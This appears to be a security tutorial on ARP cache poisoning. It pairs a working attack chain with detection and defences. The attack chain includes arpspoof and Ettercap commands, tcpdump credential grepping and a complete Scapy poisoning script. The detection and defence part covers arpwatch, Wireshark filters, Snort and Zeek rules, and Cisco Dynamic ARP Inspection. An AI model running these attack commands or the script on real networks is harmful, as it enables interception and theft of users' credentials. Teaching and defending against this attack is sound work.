Every device on a local network relies on ARP to function. Without it, a workstation cannot reach its default gateway; the gateway cannot deliver traffic to individual hosts. ARP is foundational infrastructure — which is precisely why poisoning it is so effective.
When an attacker sends forged ARP Replies claiming to be the default gateway, every host on the segment begins forwarding their traffic to the attacker. When the attacker simultaneously claims to be each victim host in ARP packets sent to the gateway, the gateway forwards inbound traffic to the attacker as well. The result is a full bidirectional man-in-the-middle position with no exploits, no malware, and no network access beyond a single switched port.
This attack has been documented and weaponized for decades, yet it still works against most enterprise networks because the protocol has no authentication mechanism by default, and enabling protections like Dynamic ARP Inspection requires deliberate configuration that many organizations have not applied.
ARP Protocol Mechanics
Normal ARP Operation
When Host A (192.168.1.10) needs to communicate with Host B (192.168.1.20) on the same subnet:
Host A broadcasts:
ARP Request: "Who has 192.168.1.20? Tell 192.168.1.10"
(Ethernet dst: ff:ff:ff:ff:ff:ff)
Host B unicasts back:
ARP Reply: "192.168.1.20 is at bb:bb:bb:bb:bb:bb"
(Ethernet dst: aa:aa:aa:aa:aa:aa)
Host A stores in ARP cache:
192.168.1.20 → bb:bb:bb:bb:bb:bb (TTL: 20 minutes default)
1# View current ARP cache on Linux
2arp -a
3# or
4ip neigh show
5
6# View ARP cache on Windows
7arp -a
8
9# Expected output:
10# 192.168.1.1 ether aa:bb:cc:dd:ee:ff C eth0 <- gateway
11# 192.168.1.20 ether bb:bb:cc:dd:ee:ff C eth0
Gratuitous ARP
A Gratuitous ARP is an ARP Reply in which the sender IP and target IP are the same (the sender is announcing their own IP-to-MAC binding). Hosts that receive gratuitous ARPs update their cache unconditionally — this is intentional, to allow fast failover during failover events.
Attackers exploit this: send a gratuitous ARP claiming 192.168.1.1 is at attacker_mac, and every host that receives it will update their gateway entry.
The Full ARP Poisoning Attack Chain
Step 1: Network Reconnaissance
1# Identify live hosts on the local subnet
2sudo nmap -sn 192.168.1.0/24
3
4# Identify default gateway
5ip route show | grep default
6# Example: default via 192.168.1.1 dev eth0
7
8# Get victim MAC (already in ARP cache if you've communicated)
9arp -a | grep 192.168.1.50
10
11# Or use arping to get MAC directly
12sudo arping -c 3 192.168.1.50 -I eth0
Step 2: ARP Cache Poisoning with arpspoof
1# Enable IP forwarding (required to pass traffic through, not just drop it)
2sudo sysctl -w net.ipv4.ip_forward=1
3
4# Poison victim: tell 192.168.1.50 that the gateway (192.168.1.1) is at our MAC
5sudo arpspoof -i eth0 -t 192.168.1.50 192.168.1.1 &
6
7# Poison gateway: tell 192.168.1.1 that the victim (192.168.1.50) is at our MAC
8sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.50 &
After running these two commands, traffic between 192.168.1.50 and the internet flows through the attacker’s machine.
Step 3: Traffic Capture
1# Capture all traffic passing through attacker interface
2sudo tcpdump -i eth0 -w poisoned_capture.pcap \
3 host 192.168.1.50
4
5# Watch for HTTP credentials in real time
6sudo tcpdump -i eth0 -A -s 0 \
7 'host 192.168.1.50 and tcp port 80' \
8 | grep -iE "password|passwd|login|user|POST"
9
10# Capture DNS queries (reveals all sites visited)
11sudo tcpdump -i eth0 -n port 53
12
13# Wireshark display filter to find ARP poisoning in a capture file:
14# (flag duplicate address announcements)
15# arp.duplicate-address-detected
16# or:
17# arp.opcode == 2 && arp.src.proto_ipv4 == 192.168.1.1
Step 4: Credential Capture with Ettercap
1# Ettercap bidirectional ARP MitM with text output
2sudo ettercap -T -M arp:remote \
3 /192.168.1.50// /192.168.1.1// \
4 -i eth0
5
6# Ettercap with plugin to parse credentials from known protocols
7sudo ettercap -T -M arp:remote \
8 /192.168.1.50// /192.168.1.1// \
9 -i eth0 \
10 -P autoadd \
11 -P http \
12 -P ftp \
13 -P ssh1
14
15# Log to file
16sudo ettercap -T -M arp:remote \
17 /192.168.1.50// /192.168.1.1// \
18 -i eth0 \
19 -w ettercap_capture.pcap \
20 -L ettercap_log
Ettercap parses known protocol formats and extracts credentials automatically. It displays captured username/password pairs to the terminal in real time as it intercepts them.
ARP Poisoning with Scapy (Educational)
1#!/usr/bin/env python3
2"""
3ARP poisoning demonstration script.
4Educational use in authorized lab environments only.
5"""
6from scapy.all import ARP, Ether, sendp, get_if_hwaddr
7import time
8import sys
9
10ATTACKER_IFACE = "eth0"
11VICTIM_IP = "192.168.1.50"
12GATEWAY_IP = "192.168.1.1"
13ATTACKER_MAC = get_if_hwaddr(ATTACKER_IFACE)
14
15def get_mac(ip):
16 """ARP who-has query to resolve MAC."""
17 from scapy.all import srp
18 answered, _ = srp(
19 Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
20 timeout=2, iface=ATTACKER_IFACE, verbose=False
21 )
22 if answered:
23 return answered[0][1].hwsrc
24 return None
25
26def poison(target_ip, spoof_ip, target_mac):
27 """Send ARP Reply claiming spoof_ip is at our MAC."""
28 pkt = ARP(
29 op=2, # ARP Reply
30 pdst=target_ip, # Send to target
31 hwdst=target_mac, # Target's MAC
32 psrc=spoof_ip, # Claim to be spoof_ip
33 hwsrc=ATTACKER_MAC
34 )
35 sendp(Ether(dst=target_mac) / pkt, iface=ATTACKER_IFACE, verbose=False)
36
37def restore(target_ip, spoof_ip, target_mac, spoof_mac):
38 """Restore correct ARP entries on cleanup."""
39 pkt = ARP(
40 op=2,
41 pdst=target_ip,
42 hwdst=target_mac,
43 psrc=spoof_ip,
44 hwsrc=spoof_mac
45 )
46 sendp(Ether(dst=target_mac) / pkt, iface=ATTACKER_IFACE, count=3, verbose=False)
47
48victim_mac = get_mac(VICTIM_IP)
49gateway_mac = get_mac(GATEWAY_IP)
50
51if not victim_mac or not gateway_mac:
52 print("[-] Could not resolve target MACs. Check IPs and interface.")
53 sys.exit(1)
54
55print(f"[*] Victim: {VICTIM_IP} ({victim_mac})")
56print(f"[*] Gateway: {GATEWAY_IP} ({gateway_mac})")
57print(f"[*] Attacker MAC: {ATTACKER_MAC}")
58print("[*] Poisoning... press Ctrl+C to stop and restore")
59
60try:
61 while True:
62 # Poison victim: "gateway is at attacker MAC"
63 poison(VICTIM_IP, GATEWAY_IP, victim_mac)
64 # Poison gateway: "victim is at attacker MAC"
65 poison(GATEWAY_IP, VICTIM_IP, gateway_mac)
66 time.sleep(2)
67except KeyboardInterrupt:
68 print("\n[*] Restoring ARP tables...")
69 restore(VICTIM_IP, GATEWAY_IP, victim_mac, gateway_mac)
70 restore(GATEWAY_IP, VICTIM_IP, gateway_mac, victim_mac)
71 print("[*] Done.")
The Poisoned ARP Cache
After a successful attack, arp -a on the victim machine shows:
# Normal (pre-attack)
192.168.1.1 ether aa:bb:cc:11:11:11 C eth0 <- real gateway MAC
# Poisoned (post-attack)
192.168.1.1 ether cc:dd:ee:ff:00:11 C eth0 <- ATTACKER's MAC
The victim is now sending all gateway-bound traffic to the attacker.
Real-World Example: HTTP Credential Interception
The classic demonstration: an attacker ARP-poisons a victim and captures credentials submitted via an HTTP login form.
Victim opens browser → navigates to http://intranet.company.local/login
Victim enters: username=jdoe, password=Summer2024!
Attacker's tcpdump captures:
POST /login HTTP/1.1
Host: intranet.company.local
Content-Type: application/x-www-form-urlencoded
username=jdoe&password=Summer2024%21
With Ettercap running, this is displayed automatically in the terminal and logged to file — no manual PCAP analysis required.
Beyond HTTP credentials, ARP poisoning enables:
- LDAP credential capture from Windows domain joins or group policy updates
- NTLM relay attacks: Captured NTLM challenge/response hashes relayed to other services (combined with tools like Responder and ntlmrelayx)
- SMB credential capture: Windows clients authenticating to file shares
- Email credential capture: POP3, IMAP, SMTP in cleartext
Detection
arpwatch
1# Install arpwatch
2sudo apt install arpwatch
3
4# Configure interface to monitor
5# Edit /etc/arpwatch.conf or pass -i flag:
6sudo arpwatch -i eth0 -f /var/lib/arpwatch/arp.dat -p
7
8# arpwatch logs to syslog; look for:
9# "changed ethernet address" — IP's MAC changed (possible poisoning)
10# "flip flop" — MAC alternating between two values
11# "new station" — new device appeared
12
13grep -i "changed ethernet\|flip flop" /var/log/syslog
Wireshark / PCAP Analysis
# Filter 1: Show all ARP Replies
arp.opcode == 2
# Filter 2: Detect duplicate IP (two different MACs claiming same IP)
arp.duplicate-address-detected
# Filter 3: Find ARP Replies for gateway IP from unexpected MAC
arp.src.proto_ipv4 == 192.168.1.1 and arp.src.hw_mac != aa:bb:cc:11:11:11
# Filter 4: ARP storm detection (high volume of ARP replies from one MAC)
arp.opcode == 2 and eth.src == cc:dd:ee:ff:00:11
Snort ARP Storm Detection
# Snort rule: detect ARP storm (potential ARP poisoning in progress)
alert arp any any -> any any (
msg:"ARP Storm Detected - Possible ARP Poisoning";
detection_filter: track by_src, count 50, seconds 10;
sid:9000010;
rev:1;
)
# Rule for gratuitous ARP from unexpected source
alert arp any any -> any any (
msg:"Gratuitous ARP - Possible Cache Poisoning";
arp.opcode: 2;
arp.src.ip: 192.168.1.1;
arp.src.mac: !aa:bb:cc:11:11:11;
sid:9000011;
rev:1;
)
Zeek ARP Anomaly Detection
# /usr/local/zeek/share/zeek/site/arp-anomaly.zeek
@load base/protocols/arp
module ARPAnomaly;
export {
redef enum Notice::Type += {
ARP_Spoof_Detected,
ARP_Table_Change
};
}
# Track IP → MAC bindings
global arp_table: table[addr] of string = table();
event arp_reply(mac_src: string, mac_dst: string,
SPA: addr, SHA: string, TPA: addr, THA: string)
{
if ( SPA in arp_table ) {
if ( arp_table[SPA] != SHA ) {
NOTICE([
$note = ARP_Table_Change,
$src = SPA,
$msg = fmt("ARP: IP %s changed MAC from %s to %s",
SPA, arp_table[SPA], SHA)
]);
}
}
arp_table[SPA] = SHA;
}
Defense: Dynamic ARP Inspection (DAI) on Cisco Catalyst
DAI is the primary Layer 2 control against ARP poisoning. It leverages the DHCP snooping binding table — the authoritative record of which IP was assigned to which MAC on which port.
! Step 1: Enable DHCP snooping (prerequisite for DAI)
ip dhcp snooping
ip dhcp snooping vlan 10,20,30
no ip dhcp snooping information option ! Unless DHCP relay is needed
! Mark uplinks (trunks, DHCP server port) as trusted
interface GigabitEthernet1/0/1
description Uplink-to-Core
ip dhcp snooping trust
! Step 2: Enable DAI on VLANs
ip arp inspection vlan 10,20,30
! Step 3: Mark trusted interfaces (uplinks)
interface GigabitEthernet1/0/1
description Uplink-to-Core
ip arp inspection trust
! Step 4: Set rate limiting on untrusted ports (prevents ARP storm DoS)
interface range GigabitEthernet1/0/2 - 48
ip arp inspection limit rate 100 burst interval 1
! Verify
show ip arp inspection vlan 10
show ip arp inspection interfaces
show ip arp inspection statistics vlan 10
Expected output of show ip arp inspection statistics vlan 10 showing a drop:
Vlan Forwarded Dropped DHCP Drops ACL Drops
---- --------- ------- ---------- ---------
10 0 5 5 0
^--- poisoning attempt dropped
Static ARP Entries for Critical Hosts
For servers and gateways that do not use DHCP, static ARP entries prevent cache poisoning:
1# Linux: add permanent ARP entry for gateway
2sudo arp -s 192.168.1.1 aa:bb:cc:11:11:11
3
4# Make persistent across reboots (NetworkManager)
5# Edit /etc/NetworkManager/dispatcher.d/99-static-arp.sh:
6#!/bin/bash
7arp -s 192.168.1.1 aa:bb:cc:11:11:11
8
9# Windows: add static ARP entry
10netsh interface ip add neighbors "Local Area Connection" 192.168.1.1 aa-bb-cc-11-11-11
Additional Controls
| Control | Protection | Notes |
|---|---|---|
| Dynamic ARP Inspection (DAI) | Drops forged ARP packets | Requires DHCP snooping enabled |
| 802.1X port authentication | Prevents unauthorized devices from connecting | Attacker can’t plug in without credentials |
| Network segmentation | Limits blast radius | ARP is confined to Layer 2 segment |
| Encrypted protocols (TLS) | Intercepted traffic is unreadable | Defense in depth — even if MitM succeeds |
| VPN on internal segments | Full encryption even on LAN | High overhead; used for sensitive segments |
| IPv6 SEND (RFC 3971) | Cryptographic NDP validation | Rarely deployed; complex PKI requirement |
MITRE ATT&CK Mapping
| Technique | ID | Description |
|---|---|---|
| Adversary-in-the-Middle | T1557 | ARP cache poisoning for traffic interception |
| Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning | T1557.001 | Related Layer 2/3 name resolution poisoning |
| Network Sniffing | T1040 | Credential and session token capture post-MitM |
| Lateral Movement via Credential Capture | T1021 | Using captured credentials for further access |
Related Attacks in This Series
- Evil Twin WiFi: Man-in-the-Middle Attack
- SSL Stripping: Downgrading HTTPS to HTTP
- VLAN Hopping: Jumping Between Network Segments
- DNS Hijacking: Redirecting Traffic Without You Knowing
- BGP Hijacking: How Attackers Reroute the Internet
References
- MITRE ATT&CK T1557 — Adversary-in-the-Middle
- RFC 826 — An Ethernet Address Resolution Protocol
- Cisco Dynamic ARP Inspection Configuration Guide — Catalyst 3750
- arpwatch — ARP Monitoring Tool
- Ettercap — Unified Sniffing and MitM Tool
- SANS — Understanding and Defeating ARP Spoofing
- Zeek (formerly Bro) — Network Security Monitor
- NIST SP 800-94r1 — Guide to Intrusion Detection and Prevention Systems






